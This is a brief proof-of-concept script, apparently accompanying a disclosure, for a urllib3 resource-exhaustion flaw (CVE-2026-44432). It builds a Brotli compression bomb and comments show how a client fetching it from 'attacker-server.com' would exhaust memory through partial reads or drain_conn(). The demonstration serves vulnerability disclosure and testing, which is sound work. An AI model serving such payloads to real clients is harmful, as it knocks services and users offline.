CVE-2026-44432 urllib3资源耗尽漏洞

import urllib3 import brotli # This PoC demonstrates the concept of the vulnerability. # It creates a malicious payload that decompresses to a large size. # 1. Create a compression bomb (100MB of 'A's compressed) original_data = b'A' * (100 * 1024 * 1024) compressed_payload = brotli.compress(original_data) print(f"Original size: {len(original_data)}, Compressed size: {len(compressed_payload)}") # In a real attack scenario, this payload would be served by a malicious server. # The victim's code using vulnerable urllib3 might look like this: # http = urllib3.PoolManager() # response = http.request('GET', 'http://attacker-server.com/exploit', preload_content=False) # # # Vulnerability Trigger 1: Second read with amount limit # # Intending to read only 1024 bytes, but urllib3 decompresses the full 100MB into memory. # first_chunk = response.read(1024) # second_chunk = response.read(1024) # Vulnerable here in 2.6.0 < x < 2.7.0 with Brotli # # # Vulnerability Trigger 2: drain_conn after partial read # response.drain_conn() # Vulnerable here print("PoC logic generated. Sending this payload to a vulnerable client will trigger OOM/CPU spike.")